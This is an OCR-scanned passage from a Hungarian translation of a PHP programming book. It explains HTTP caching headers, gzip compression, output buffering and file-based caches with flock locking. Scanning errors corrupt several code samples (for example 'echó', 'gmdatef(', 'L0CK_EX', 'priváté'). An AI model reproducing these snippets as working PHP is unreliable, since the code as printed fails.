oldalunkat, hívhatunk egy, az alábbihoz hasonló függvényt:
function cache_novalidate($interval = 6 0 )
{
$now = time();
$pretty_lmtime = gmdate('D, d M Y H : i : s ' , $now) . ' GMT';
$pretty_extime = gmdatef'D, d M Y H : i : s ' , $now + $interval) . ' GMT';
// visszirányú megfelelőség a HTTP/1.0 ügyfelek számára
header("Last Modified: $pretty_lmtime");
header("Expires: $pretty_extime");
// HTTP/1.1-támogatás
header("Cache-Control: public,max-age=$interval");
}

Ha azonban olyan oldalról van szó, ami némileg testreszabott (mondjuk egy nyitólapról,
ami helyi híreket is tartalmaz), azt is beállíthatjuk, hogy a másolatot csak a böngésző tárolja:
function cache_browser($interval = 6 0 )
{
$now = time();
$pretty_lmtime = gmdate('D, d M Y H : i : s ' , $now) . ' GMT';
$pretty_extime = gmdate('D, d M Y H : i : s ' , $now + $interval) . ' GMT';
// visszirányú megfelelőség a HTTP/1.0 ügyfelek számára
header("Last Modified: $pretty_lmtime");
header("Expires: $pretty_extime");
// HTTP/1.1-támogatás
header("Cache-Control: priváté,max-age=$interval,s-maxage=0");
}

Végezetül, ha a lehető leghatározottabban el szeretnénk kerülni, hogy az oldalt bárhol is


tárolják, a következőket tehetjük:
function cache_none($interval = 60)
{
// visszirányú megfelelőség a HTTP/1.0 ügyfelek számára
header("Expires: 0 ") ;
9. fejezet • Teljesítményfokozás külső módszerekkel 253

header("Pragma: no-cache");
// HTTP/1.1-támogatás
header("Cache-Control: no-cache,no-store,max-age=0,s-rnaxage=0,
'■- must-revalidate") ;
}

A PHP munkamenet-bővítménye ilyen no-cache fejléceket állít be a session_start ()


hívásánál. Ha úgy érezzük, hogy jobban ismerjük munkamenet alapú alkalmazásunkat,
mint a bővítmény szerzői, egyszerűen átállíthatjuk e fejléceket a session_start () hívá-
sát követően.

Az alábbiakban felsorolunk néhány, a külső gyorstárak használatával kapcsolatos buktatót:

• A POST-tal kérelmezett oldalak nem tárolhatók ezzel a módszerrel.


• A gyorstárak ilyen használata nem jelenti azt, hogy egy oldalt csak egyszer kell
szolgáltatnunk. Mindössze abban lehetünk biztosak, hogy adott helyettesnek adott
időtartamon belül csak egy szolgáltatásra van szüksége.
• Nem minden helyettes kiszolgáló felel meg az RFC szabványainak. Ha valahol nem
vagyunk biztosak ebben, inkább akadályozzuk meg a gyorstár használatát.

Tartalomtömörítés
A HTTP 1.0-ban megjelent a tartalom kódolásának lehetősége - ez lehetővé teszi az ügy-
felek számára, hogy jelezzék a kiszolgálók felé: képesek fogadni bizonyos módokon kó-
dolt tartalmat. A tartalom tömörítésével kisebb mérethez jutunk, aminek két alapvető kö-
vetkezménye van:

• A sávszélesség-használat csökken, hiszen az átvitt adatok összmennyisége kisebb


lesz. Számos cég esetében a megfelelő sávszélesség biztosítása jelenti az első szá-
mú technikai költséget.
• A hálózati késleltetés csökkenthető, hiszen a kisebb tartalom kevesebb hálózati
adatcsomagban is továbbítható.

Ezekért az előnyökért a tömörítésre felhasznált processzoridővel fizetünk. Egy valós élet-


ben lefolytatott tesztben (a mod_gzip alkalmazásával) azt tapasztaltam, hogy a sávszéles-
ség felhasználásának 30%-os csökkenése mellett összességében is teljesítménynövekedést
értem el: nagyjából 10%-kal emelkedett az adatátvitel oldal/másodperc egységben mért
mérőszáma a tömörítés nélküli esethez képest. És még ha e teljesítménynövekedéstől el is
tekintünk, a sávszélesség kihasználásának 30%-os csökkenése jelentős költségmegtakarí-
tást tesz lehetővé.
254 PHP fejlesztés felsőfokon

Amikor egy ügyfélböngésző kérelmet küld a kiszolgálóhoz, jelzi a böngészőtípust, vala-


mint azt, hogy milyen lehetőségeket támogat. Az itt küldött fejlécek között a böngésző az
általa elfogadott tartalomtömörítési módokról is tájékoztatást ad, valahogy így:

Content-Encoding: gzip,deflate

A tömörítés megvalósítására számos lehetőség áll rendelkezésünkre. Ha a PHP-t zlib-


támogatással fordították le (az -enable-zlib kapcsolóval), a legegyszerűbb, ha a beépí-
tett gzip kimenetkezelőt használjuk. Ezt a lehetőséget a php. ini megfelelő paraméteré-
nek beállításával vehetjük használatba:

zlib.output_compression On

Ilyenkor a kiszolgáló automatikusan megállapítja a kérelmező böngésző képességeit, és


a tartalmat is ennek megfelelően, automatikusan tömöríti.

E módszer egyetlen hátránya, hogy a tömörítés ilyenkor csak a PHP kimenetére hat.
Amennyiben kiszolgálónk csak PHP-vel előállított oldalakat szolgáltat, semmi gond nincs.
Ha azonban más a helyzet, érdemes egy másik gyártó által készített Apache-modult hasz-
nálnunk a tömörítéshez. (Ez lehet például a mod_def laté vagy a mod_gzip.)

További olvasmányok
Fejezetünkben számos új módszert mutattunk be, melyek közül sok bővebb tárgyalást is
megérdemelne. Az alábbiakban az érdeklődők számára szolgálunk némi útmutatással az
elérhető irodalom terén.

RFC-k
Mindig jó érzés a tudáshoz első kézből hozzájutni. Nos, az Interneten használt protokol-
lok leírásánál az „első kéz" szerepét az RFC-k játsszák, melyeket az IETF gondoz. Az RFC
26l6-ban megismerkedhetünk a HTTP 1. l-ben megjelent fejlécekkel, továbbá tájékozta-
tást kaphatunk a különböző utasítások (direktívák) használatának alakjáról és értelméről.
Az RFC-k számos helyről letölthetők a weben, jómagam az IETF RFC tárolóját részesítem
előnyben, melyet a www. iet f . org/rf c . html címen érhetünk el.

Fordítói gyorstárak
A fordítói gyorstárak működéséről részletesebben a 21. és 24. fejezetekben olvashatunk.

Nick Lindridge, az ionCube gyorsító szülőatyja készített egy nagyszerű leírást gyermeke
működéséről, melyet a www.php-accelerator. co.uk/PHPA_Article.pdf címen ta-
lálhatunk meg.
9. fejezet * Teljesítményfokozás külső módszerekkel 2S5

Az APC forráskódja elérhető a PEAR PHP-bővítményeket tartalmazó PECL tárolójában.

Az ionCube Accelerator futtatható alakját elérhetjük a www. ioncube. com címen.

A Zend Accelerator a www. zend. com webhelyen található meg.

Helyettes gyorstárak
A Squid-et a www. squid-cache . org címen találhatjuk meg, ahol egyúttal számos
nagyszerű forrást találhatunk a beállítási lehetőségekről és a használat módjairól.
Egy jól sikerült írást is olvashatunk a Squid használatáról HTTP gyorsítóként ViSolve-tól
a http://squid.visolve.com/white_papers/reverseproxy.htm címen.
A Squid fordított helyettes kiszolgáló szerepben nyújtott teljesítményének növeléséről
a http: //squid. sourceforg.net/rproxy címen tájékozódhatunk.

A mod_backhand modult a www. backhand. org címen találhatjuk meg.

A mod_proxy használatának csak az alapjait mutattuk be ebben a fejezetben. A lehetősé-


gek ennél sokkal gazdagabbak — a kérelmek kezelésének igen sokoldalú módját adja
a mod_proxy és a mod_rewrite együttes használata.

A részletekért látogassunk el az Apache projekt webhelyére (http: / /www. apache. org).


A mod_rewrite/mod_proxy modulok együttes használatának egyszerű példája Scalable
Internet Architectures (Méretezhető internetes architektúrák) címmel az Apachecon 2002-
ről saját bemutatómban is megtekinthető. A diák a következő címen érhetők el:
http://www.omniti.com/~george/talks/LV73 6.ppt.

Amod_accel megtalálható a http: //sysoev.ru/mod_accel címen. Sajnálatos


módon a leírás nagyobb része ékes orosz nyelven olvasható. A mod_accel és
a mod_def laté telepítéséről azonban hozzájuthatunk Philip Mak angol nyelvű
Hogyanjához a http: //www.aaanime.net/pmak/apache/mod_accel címen.

Tartalomtömörítés
A mod_def laté modul az Apache 1.3.x változatához elérhető a következő címen:
http: //sysoev.ru/mod_def laté. Fontos megjegyezni, hogy ennek semmi köze az
Apache 2.0 mod_def laté moduljához. A mod_accel leírásához hasonlóan e projekt le-
írása is szinte teljes egészében orosz nyelvű.

A mod_gzip fejlesztője, a Remote Communications elköltözött eredeti webhelyéről, és


most a http: //sourceforge.net/projects/mod-gzip címen lelhető fel.
Adatösszetevők átmeneti tárolása
A dinamikus weblapok készítése valójában folyamatos egyensúlyozás két véglet között.
Egyrészről, a dinamikus és személyre szabott weblapok nagyszerűek - másrészről viszont
minden dinamikus hívás tovább növeli az oldal előállításához szükséges időt. A szövegek
feldolgozása és a megsokasodó adatműveletek jelentős erőforrásokat emésztenek fel.
Az adatbázis-lekérdezések és a távoli eljáráshívások (RPC-k) amellett, hogy időráfordítást
követelnek a távoli kiszolgálótól, a hálózati késleltetéssel is lassítják az oldal működését.
Minél több a dinamikus tartalom, annál több erőforrásra van szükség az oldal előállításá-
hoz. Az adatbázis-lekérdezések gyakran a hálózati alkalmazások leglassabb részét adják,
a nagy mértékben dinamikus webhelyeken pedig nem ritka, hogy oldalanként több ilyen
lekérdezésre is szükség van. Ha sikerül valahogy megszabadulnunk ezektől, jelentősen
növelhetjük a teljesítményt - itt siethetnek segítségünkre a gyorstárak.

A gyorstárak használata gyakorlatilag azt jelenti, hogy egyes adatokat félreteszünk későb-
bi használatra. E módszerrel gyakran használt adatokat tárolhatunk, melyeket aztán gyor-
sabban érhetünk el, mint egyébként. A gyorstárak használatára könnyű jó példákat találni
mind a számítástechnikán belül, mind az élet más területein.

Nem kell sokat töprengenünk - vegyük csak a telefonszámok kezelésének esetét. A tele-
fontársaság rendszeresen küld telefonkönyveket előfizetőinek. Ezek rendszerint ormótla-
nok, és a telefonszámok az előfizetők neveinek ábécésorrendje szerint rendezettek, soká-
ig tart tehát, míg odalapozunk a kívánt számhoz. (Vagyis itt nagy tárterületről van szó, las-
sú eléréssel.) A gyakran használt számok könnyebb elérése érdekében készítettem egy
listát a hűtőszekrényem ajtaján családtagjaim, barátaim és a kedvenc pizzériáim telefon-
számairól. Ez egy igen rövid lista, így könnyen megtalálom rajta a keresett számot. (Vagyis
kis tárhely, gyors eléréssel.)
258 PHP fejlesztés felsőfokon

A gyorstárazással kapcsolatos kérdések


Bármilyen gyorstárat készítünk, van néhány alapfeladat, melynek elvégzésére minden-
képpen gondot kell fordítanunk — ezeket soroljuk fel a következőkben:

• A gyorstár méretének fenntartása - Ahogy a hűtőszekrény ajtajára ragasztott telefon-


számlista növekszik, lassan eljutunk oda, hogy a papír mérete már nem lesz ele-
gendő a befogadására. Persze felragaszthatunk újabb papírlapokat, de ezek szapo-
rodásával egyre nehezebb lesz megtalálni a keresett számot, ráadásul a hűtő mére-
te is korlátozott. Mindez tehát azt jelenti, hogy az új telefonszámok hozzáadásával
párhuzamosan a kevésbé fontosakat ki kell húznunk. Ennek megvalósításánál
számtalan algoritmust használhatunk.
• A gyorstár egyidejű elérése - A feleségem és én egyidejűleg hozzá kell, hogy férjünk
a telefonszámlistához - és nem csak az olvasás, hanem az írás terén is egyenjogú-
ság uralkodik. Ha azonban egy olyan számot szeretnék kiolvasni, melyet a felesé-
gem éppen átjavít, az eredmény a két szám valamiféle keveréke lesz. Jóllehet az
egyidejű írás lehetősége nem igazán merül fel komoly eshetőségként egy telefon-
számlista esetében, ha egy csoport ugyanazon fájlokkal dolgozik, könnyen előfor-
dulhat, hogy ütköznek egymás tevékenységével. Fontos, hogy védekezzünk az
adatok meghibásodása ellen.
• Az elavult adatok kezelése - Az új telefonkönyvek megjelenésével telefonszámlistánk-
nak követnie kell a változásokat. Ami a legfontosabb: biztosítani kell, hogy a listán
szereplő számok mindig helyesek legyenek. A gyorstár „lejárt szavatosságú" adatait
elavultnak nevezzük, az adatok érvénytelenítését pedig a gyorstár mérgezésének.
• A gyorstárak összhangja - A konyhában kiragasztott lista mellett létezik egy másik is,
az irodámban. Ezek tartalma eltérhet egymástól, viszont fontos, hogy ne legyen el-
lentmondóak — ha valakinek a neve mindkét listában megjelenik, csak ugyanaz
a szám tartozhat hozzá.

Egyes gyorstárakban az alábbi tulajdonságok is megjelenhetnek:

• Hierarchikus tárolás - Ilyenkor a tárolásnak több szintje létezik. A telefonlistás példá-


ban ilyen újabb szint lehet a telefon gyorstárcsázója. Ezzel még gyorsabban elérhe-
tünk egyes számokat, viszont még kevesebb szám tárolására van lehetőség.
• Előre hozott adatok - Ha bizonyos telefonszámokról tudom, hogy gyakran hívom
majd (például a szüleim otthoni telefonszáma vagy a sarki pizzéria száma), a lista
elejére veszem fel azokat.

A 9. fejezet nagyobb részében azzal foglalkoztunk, hogyan kezeljük az ügyfél oldali és


hálózati gyorstárakat. A dinamikus weblapokat nehéz teljes egészükben gyorstárakban tá-
rolni - legalábbis az ügyfél oldalán. Ezért hát most nem is próbálkozunk azzal, hogy az
egész oldalt tároljuk, inkább az alkalmazáson belül a lehető legtöbb dinamikus adat
gyorstárban történő tárolására teszünk kísérletet.
10. fejezet * Adatösszetevők átmeneti tárolása 259

A gyorstárak használatának három szintjét különböztetjük meg:

• Egész előállított oldalak, oldalrészek tárolása, mint az alábbi példákban:


- Egy ritkán változó oldal tartalmának ideiglenes tárolása.
- Adatbázis által vezérelt navigációs sáv tárolása.
• Adatok tárolása felhasználói kérelmek között, mint az alábbi példákban:
- A munkamenet adatainak tárolása (például az internetes bevásárlókocsik
tartalmáé).
- Felhasználói jellemzők tárolása.
• Számított adatok tárolása, mint az alábbi példákban:
- Adatbázis-lekérdezés tárolása.
- Távoli eljáráshívások eredményének tárolása.

A gyorstárakban tárolható adatösszetevők felismerése


A gyorstárak helyes használatának első lépése annak meghatározása, mely adatösszete-
vők tárolhatók ilyen módon. Az alkalmazások elemzésénél jómagam az alábbi lista alap-
ján tájékozódom, amely a könnyebben tárolható adatoktól a nehezebb esetek felé vezet:

• Mely oldalak teljesen statikusak? Ha egy lap dinamikus, de teljesen statikus adatok
alapján készül el, lényegében statikusnak tekinthető.
• Mely oldalak statikusak elég hosszú ideig? Az „elég hosszú idő" persze meglehető-
sen megfoghatatlan fogalom - a legtöbb esetben itt napokra vagy órákra gondo-
lunk. Vannak persze különleges esetek is - a www. cnn. com frissítése néhány per-
cenként történik meg (világrengető eseményeknél percenként), ami a webhely for-
galmához mérve „elég hosszú időnek" számít.
• Mely adatok teljesen statikusak (például a hivatkozási táblák)?
• Mely adatok statikusak „elég hosszú ideig"? Számos webhelyen a felhasználók ada-
tai statikusak maradnak a látogatása alatt.

A gyorstárak sikeres használatának titka a a gyorstárbeli találatok és a gyorstárbeli olvasási


kísérletek hányadosa (angolul ezt hívják cache locality-nek; magyarul körülbelül gyorstár-
hatékonyság). Ha ez az arányszám nagy, az azt jelenti, hogy a keresett objektumokat álta-
lában megtaláljuk a gyorstárban, vagyis az elérés költsége csökken. Ha az érték kicsi, ak-
kor gyakran fordult elő, hogy nem találtuk a keresett objektumot. Mindez azt jelenti, hogy
alkalmazásunk teljesítménye nemhogy nőtt volna, hanem egyenesen csökkent.

Saját vagy előre elkészített osztályok - melyiket válasszuk?


A könyv eddigi fejezeteiben megpróbáltuk lehetőség szerint kihasználni a PEAR-ben meg-
levő megvalósításokat. Nos, jómagam soha nem szerettem újra feltalálni a kereket, és álta-
lában el lehet mondani, hogy a PEAR-ben megtalálható osztályok valóban képesek meg-
260 PHP fejlesztés felsőfokon

felelni a szélsőséges esetek kihívásainak is. A PEAR rendelkezik a gyorstárak működteté-


séhez szükséges osztályokkal (Cache és Cache_Lite), mindazonáltal én szinte mindig
saját osztályokkal dolgozom -és ennek három oka is van:

• Testreszabhatóság - A gyorstárak optimális megvalósításának titka, hogy kihasznál-


juk az alkalmazás minden olyan lehetőségét, ahol a gyorstár használata lehetséges.
Mindezt nem lehet egy „fekete doboz" típusú programmal megoldani, de még az
előre összeállított programcsomagokkal is nehéz dolgunk volna.
• Hatékonyság - Fontos, hogy a gyorstár kezelésének kódja a lehető legkevesebb fö-
lös terhelést rója a rendszerre. Ha valamit tényleg az alapoktól kezdünk megírni,
biztosíthatjuk, hogy tényleg csak azt tegye, amit várunk tőle.
• Fenntarthatóság - A gyorstárak megvalósításainak hibái nehezen előre látható és
azonosítható működési zavarokat okozhatnak. így például egy adatbázis-lekérde-
zés gyorstárának meghibásodása érvénytelen adatokat eredményezhet. Minél job-
ban megértjük a gyorstár kezelésének részleteit, annál könnyebben megy majd
bennük a hibakeresés. Mindez persze lehetséges a PEAR könyvtárakban is, de ta-
pasztalatom szerint saját kóddal sokkal könnyebb boldogulni.

Okos „fekete doboz" megoldások


Létezik a piacon néhány intelligens gyorstárkezelő „készülék" a Network Appliance, az
IBM és a Cisco forgalmazásában. Jóllehet ezek a programok egyre okosabbak és okosab-
bak lesznek, jómagam mindig némi bizalmatlansággal tekintek rájuk, mivel nem hiszem,
hogy az „okosság" pótolni tudja az alkalmazás szerkezetének ismeretét. Ezek a progra-
mok azonban nagyszerűen megfelelnek a fordított helyettes gyorstárak helyett, melyekről
a 9. fejezetben szóltunk.

A 4-es változattól a PHP támogatja az átmeneti kimenettárolást, vagyis azt az eljárást,


melyben a kimenet egy átmeneti tárba kerül, és nem közvetlenül az ügyfélhez. A 9- feje-
zetben megvizsgáltuk, miként használható ez a lehetőség a hálózati teljesítmény növelésé-
re (amikor az átvitt adatokat kevesebb csomagra bontottuk, és ezekre tömörítést alkal-
maztunk). Fejezetünkben arról szólunk, hogyan alkalmazhatunk hasonló módszereket
a kiszolgáló oldali gyorstárakba kerülő tartalomra.

Ha egy program kimenetét el szeretnénk fogni a kimenettárolást megelőzően, akkor egy


karakterláncba kell helyeznünk, és ha kész, kiírnunk a képernyőre:

<?php
$OUtput = "<HTMLxBODY>";
$output .= "Today is " .strftime("%A, %B %e %Y");
$OUtput .= "</BODY></HTML>";
10. fejezet • Adatösszetevők átmeneti tárolása 261

echó $output;
cache($output);
?>

Aki még Perl alapú CGI programokkal tanulta a webprogramozást, valószínűleg belebor-
zong e sorok látványába. Akinek nincs ilyen tapasztalata, kísérletet tehet arra, hogy elkép-
zelje, milyen is lehetett az a korszak, amikor a webes programok így néztek ki.

A kimenettárolással a program ismét emberi alakot ölt. Mindössze annyit kell tennünk,
hogy az oldal előállítása elé beszúrjuk az alábbi sort:

<?php ob_start(); ?>

Ez bekapcsolja a kimenettárolást, következésképpen a rendszer a kimenetet egy belső át-


meneti tárban tárolja. Ezek után következhet az oldal kódja a megszokott alakban:

<HTML>
<BODY>
Today is <?= strftime("%A, %B %e %Y") ?>
</BODY>
</HTML>

Ha a tartalom elkészült, kiürítjük a tárat:

<?php
$output = ob_get_contents() ;
ob_end_flush();
cache($output);
?>

Az ob_get_contents () a kimeneti tár tartalmát egy karakterlánc alakjában adja vissza,


mellyel ezek után azt teszünk, amit csak szeretnénk. Az ob_end_f lush () leállítja az át-
meneti tárolást, és a tár tartalmát elküldi az ügyfélnek. Ha a tartalmat csak a karakterlánc
alakjában szeretnénk látni, és nem kívánjuk elküldeni az ügyfélnek, a tárolás befejezésé-
nél az ob_end_clean () függvényt hívjuk meg, amely leállítja a tárolást, és egyszerűen
törli a tár tartalmát. Fontos megjegyeznünk, hogy mind az ob_end_f lush (), mind az
ob_end_clean () megsemmisíti a tárat, miután végzett a feladatával. Ha tehát a tár tartal-
mát meg szeretnénk őrizni, mindenképpen használnunk kell az ob_get_contents ()
függvényt.

A kimenettárolás hatékony módszer.


262 PHP fejlesztés felsőfokon

Kimenettárolás a header() és a setcookieQ függvénnyel

A kimenettárolás számos megvalósításában előfordul, hogy az oldal szövege után fejléce-


ket is át kell küldeni. Hagyományos esetben ezt így tennénk:

<?php
echó "Hello World";
header("Content-Type: text/plain");
?>

Sajnos azonban itt hibaüzenetet kapunk:

Cannot add header informátion - headers already sent

Magyarul: A fejlécadatok nem csatolhatok - a fejlécek küldése már megtörtént.

A HTTP válaszokban a fejléceknek az üzenet elejére kell kerülniük, minden más tartalom
elé (amint azt nevük is mutatja). Mivel a PHP alapértelmezésben azonnal elküldi a előállí-
tott tartalmat, ha a fejléceket az oldal szövege után küldjük el, hibaüzenetet kapunk. Ha
azonban tárolást használunk a kimeneten, a válasz törzsének átküldése csak a f lush ()
utasítással történik meg, így a fejlécek a szöveggel együtt érkeznek meg. Következéskép-
pen az alábbi kód jól működik:

<?php
ob_start();
echó "Hello World";
header("Content-Type: text/plain");
ob_end_flush();
?>

Mindez azonban inkább rossz programozási szokás, semmint a kimenettárolás előnyeinek


bemutatása. Ha megszokjuk, hogy a fejléceket az előállított tartalom után küldjük át, ezzel
minden további kódot kimenettárolásra szorítunk, az ilyen szükségtelen szigorítások pe-
dig nem használnak alkalmazásainknak.
10. fejezet • Adatösszetevők átmeneti tárolása 263

Gyorstárak a memóriában
A szálak, illetve a folyamathívások közti erőforrás-megosztás megszokott lehet azok szá-
mára, akik Java nyelven, illetve mod__per l-ben programoznak. A PHP-ban azonban a fel-
használói adatszerkezetek megsemmisülnek a kérelem lezárásakor. Ez azt jelenti, hogy az
erőforrásokon (például állandó adatbázis-kapcsolatokon) kívül minden általunk készített
objektum elérhetetlenné válik a következő kérelmek kezelésénél.

Jóllehet ez a hiányosság sok tekintetben hátrányosnak tekinthető, az a következménye min-


denképpen megvan, hogy hihetetlenül jól elválasztja az egyes kérelmek kezelését - ezek
ugyanis semmilyen hatással nem lehetnek egymásra. A más nyelvekben biztosított mara-
dandóság hátránya, hogy - mint a mod_perl-ben - elképzelhető, hogy visszafordíthatatla-
nul elrontunk valamit, ami tönkreteheti a következő kérelmek kiszolgálását, illetve a hibás
kezdőértékkel ellátott változók nem várt értékeket vehetnek fel. A PHP-ben ilyen gondok
gyakorlatilag nem merülhetnek fel - a programok értelmezése mindig tiszta lappal indul.

Gyorstárak szerkezet nélküli fájlokban


Ezek a gyorstárak „lapos fájlokat" (szerkezet nélküli fájlokat) használnak a felhasználói
adatok tárolására. A tárolás folyamatában az adatok bekerülnek a fájlba, amikor pedig
szükség van az adatokra, a program beolvassa (többnyire a teljes) fájlt. Egyszerű példát
adhat erre a módszerre egy oldal híranyagának tárolása. Az ilyen oldalakat először érde-
mes beemelt állományok segítségével összetevőkre osztani.

A fájl alapú gyorstárak különösen jól használhatók olyan alkalmazásoknál, melyek egy-
szerűen az include () -ot használják a tárolófájlon, vagy közvetlenül fájlként használják.
Jóllehet elképzelhető, hogy egyes változókat vagy objektumokat tároljunk fájl alapú
gyorstárakban, nem ez az a felhasználási terület, ahol e módszert a leghatékonyabban ki-
használhatjuk.

A gyorstár méretének fenntartása


Ha minden tárolt elemet külön fájlba helyezünk, nemcsak nagy lemezterület felhasználá-
sára számíthatunk, de egyúttal rengeteg fájlt is kapunk. Sok fájlrendszer (köztük a Linux
ext2 és ext3 fájlrendszere) igen gyengén teljesít, ha egy könyvtárban túlzottan sok fájl
halmozódik fel. Ha egy fájl alapú gyorstár kezd kezelhetetlenül naggyá válni, érdemes
többrétegű megoldások után nézni, hogy a könyvtárban levő fájlok számát korlátozhas-
suk. Ezt a módszert gyakran alkalmazzák levélkiszolgálók esetében nagy tárak kezelésére,
de más tárolási helyzetekre is könnyen átvihető.

Mindazonáltal nem szabad, hogy a kisméretű gyorstár ideálja meggátoljon döntéseinkben.


Jóllehet a kis gyorstárak általában gyorsabbak a nagyoknál, amíg a gyorstárral ellátott al-
kalmazás hatékonyabb (a fenntartást is beleértve) a gyorstár nélküli változatnál, semmi-
lyen megoldást nem szabad elvetnünk. Fejezetünk későbbi részében látunk majd egy pél-
dát, melyben egy több gigabájtos gyorstár használata is jelentős teljesítménynövekedést
264 PHP fejlesztés felsőfokon

eredményez. A folyamatok közti adatcsere hiányában nehéz a gyorstárak ürítésének „leg-


régebben használt" (last recently used - LRU) módszerét alkalmazni (mivel nem tudjuk
számon tartani, milyen gyakorisággal érik el fájljainkat). A kiürítésre az alábbi lehetősége-
ink vannak:

• LRU - A legrégebben használt gyorstár-fájlokat felkutathatjuk az elérési idő vizsgála-


tával (ezt a stat () által visszaadott szerkezet atime mezője adja meg). A rendszer-
gazdák azonban gyakran letiltják az elérési idők frissítését, hogy csökkentsék a le-
mezre írások számát valamilyen sokat olvasó alkalmazásnál (és így növeljék a lemez
teljesítményét). Ilyenkor természetesen az elérési időre alapozott LRU nem használ-
ható. Ráadásul a gyorstár könyvtárszerkezetének végigolvasása, és a stat () függ-
vény többszöri hívása egyre lassabb, ahogy a fájlok száma és a gyorstár kihasznált-
sága nő.
• FIFO - A FIFO (First in, first out; az első bejövő elem feldolgozása történik először)
módszer alkalmazásához használhatjuk a módosítás idejét (a stat () által vissza-
adott szerkezet mtime mezője), így sorba rendezetjük a fájlokat legutóbbi frissíté-
sük ideje szerint. Ez a módszer persze az előzőhöz hasonlóan szenved a stat ()
használatának lassúságától.
• Véletlenszerű kiürítés -Jóllehet ez a módszer túlzottan egyszerűnek tűnhet, sok eset-
ben a teljes gyorstár, illetve egy részletének eltávolítása meglepően egyszerű és ha-
tékony módot adhat a gyorstár méretének fenntartására. Ez különösen a nagy
gyorstáraknál igaz, ahol a karbantartó műveletekre ritkán kerül sor, és a teljes
gyorstár végigböngészése nagyon költséges volna. Valószínűleg ez a gyorstárak ürí-
tésének leggyakrabban alkalmazott módszere.

A gyorstárak megvalósításánál általában rendelkezünk egyedi információkkal a tárolni kí-


vánt adatokról, e tudás kihasználásával pedig jobb adatkezelést valósíthatunk meg. Sajnos
persze ez azt is jelenti, hogy nem létezik „igazi" módszer a gyorstárak kezelésére.

A gyorstárak egyidejű használata és összhangja


Fájljainkat több folyamat is olvashatja egyszerre mindenféle kockázat nélkül, ha azonban
olvasás közben írás is történik, nagy gondokkal kerülhetünk szembe. Ahhoz persze, hogy
megértsük, pontosan milyen veszélyekről van itt szó, előbb meg kell ismerkednünk a fájl-
rendszerek működésével.

A fájlrendszer valójában egy fa, ami ágakból (könyvtárak) és levelekből (fájlok) áll. Ha az
fopen( "/path/to/f ile.php", $mode) utasítással megnyitunk egy fájlt, az operációs
rendszer végighalad a megadott útvonalon. A gyökérkönyvtártól indul, megnyitja, majd
megvizsgálja a tartalmát. A könyvtár valójában egy táblázat, ami fájlok és könyvtárak ne-
veit tartalmazza, valamint a hozzájuk tartozó leíró csomópontokat (inode). A fájlnévhez
tartozó leíró csomópont a fájl fizikai helyét mutatja a lemezen. Ez egy fontos apróság:
a fájlnév nem fordítható le közvetlenül fizikai helyre - a hozzá tartozó leíró csomópont
10. fejezet • Adatösszetevők átmeneti tárolása 265

adja meg a tárolás helyét. Ha megnyitunk egy fájlt, egy fájlmutatót kapunk vissza - ezt az
operációs rendszer összeköti a fájl leíró csomópontjával, így végül tudja, hol találja meg
az adatokat a lemezen. Itt ismét felhívjuk a figyelmet egy fontos apróságra: az f open ()
alkalmazása után kapott fájlmutató a leíró csomópontra vonatkozó adatokat tartalmaz -
nem a fájlnévre.

Ha a fájlunkon csak írási és olvasási műveleteket végzünk, akkor az a gyorstár, amelyik fi-
gyelmen kívül hagyja ezt az apróságot, úgy viselkedik, ahogy vártuk - egyedüli tárként az
adott fájlhoz. Ez veszélyes lehet, hiszen ha éppen akkor írunk a fájlba, amikor olvasási mű-
veletet is végzünk (mondjuk egy másik folyamatban), elképzelhető, hogy részben az új,
részben a régi fájl tartalmához jutunk hozzá. Természetesen ez hibás adatokat eredményez.

Lássunk egy példát arra, hogyan is próbálhatunk gyorstárat alkalmazni egy oldal tartalmára:

<?
if(file_exists("first.cache")) {
include("first.cache");
return;
}
else {
// fájl megnyitása 'w' módban, csonkolva az íráshoz
$cachefp = fopen("first.cache", "w");
ob_start();
}
?>
<HTML>
<BODY>
<!-- Cacheable for a day -->
Today is <?= strftime("%A, %B %e %Y") ?>
</B0DY>
</HTML>
<?
if( $cachefp) {
$file = ob_get_contents() ;
fwrite($cachefp, $file);
ob_end_flush();
}
?>

A felmerülő gondokat a 10.1. ábra mutatja. Láthatjuk, hogy a párhuzamosan végzett írás
és olvasás felveti a hibás adatok megjelenésének lehetőségét.
266 PHP fejlesztés felsőfokon

A megoldásra két módszer ismeretes: használhatunk fájlzárakat vagy fájlváltókat.

A fájlzárak (filé lock) használata egyszerű de hatékony módszert ad a fájlok elérésének


szabályozására. Két típusuk létezik - lehetnek kötelezőek (mandatory) és javasoltak
(advisory). Az előbbieket az operációs rendszer magja érvényesíti, letiltva a reád (), illet-
ve wri te () hívásokat a zárolt fájlhoz. A kötelező zárak nem szerepelnek a POSIX szab-
ványai között, és a BSD fájlzárolási szabványában sem találhatjuk meg őket - megvalósítá-
suk igen változatos a különböző rendszerekben. A kötelező zárakra ritkán - ha egyáltalán
valamikor - van égető szükség. Mivel azonban itt magunk valósíthatjuk meg a gyorstár
fájljait kezelő folyamatokat, biztosíthatjuk, hogy viselkedésük megfelelő legyen.

A javasolt zárakkal két alakban találkozhatunk:

• f lock - Az f lock, amely a BSD 4.2-es változatában jelent meg, képes teljes fájlok
osztott (olvasás) és kizárólagos (írás) zárolására.
10. fejezet • Adatösszetevők átmeneti tárolása 267

• fenti - Az fenti, amely a POSIX szabvány része, képes fájlok részeinek osztott
vagy kizárólagos zárolására (ez azt jelenti, hogy meghatározott bájtsorozatokat zá-
rolhatunk, ami különösen adatbázisoknál vagy olyan alkalmazásoknál lehet hasz-
nunkra, ahol szeretnénk lehetővé tenni, hogy a folyamatok egyszerre a fájl több ré-
szét módosítsák).

Mindkét módszer fontos alaptulajdonsága, hogy ha egy folyamat kilép, az általa fenntar-
tott zárak is megszűnnek. Ez azt jelenti, hogy ha egy zárat fenntartó folyamatban valami-
lyen hiba következik be (például a webkiszolgáló futó folyamata szegmentációs hibát
okoz), a rendszer feloldja a zárat, ami megvéd a holtpont kialakulásától.

A PHP a teljes fájlok zárolásánál az f lock () alkalmazása mellett döntött. A sors fura fin-
toraként a legtöbb rendszer ezt az fenti segítségével valósítja meg. De lássunk most egy
példát, miként alkalmazhatunk gyorstárat a fájlzárolás lehetőségeit kihasználva:

<?php
$file = $_SERVER['PHP_SELF'];
$cachefile = "$file.cache";

$lockfp = @fopen($cachefile, "a");


if (filesize($cachefile) && flock($lockfp, LOCK_SH I LOCK_NB)) {
readfile($cachefile) ;
flock($lockfp, LOCK_UN);
exit ;
}
else if (flock($lockfp, L0CK_EX | LOCK_NB)) {
$cachefp = fopen($cachefile, "w");
ob_start();
}
?>
<HTML>
<B0DY>
<!-- Cacheable for a day -->
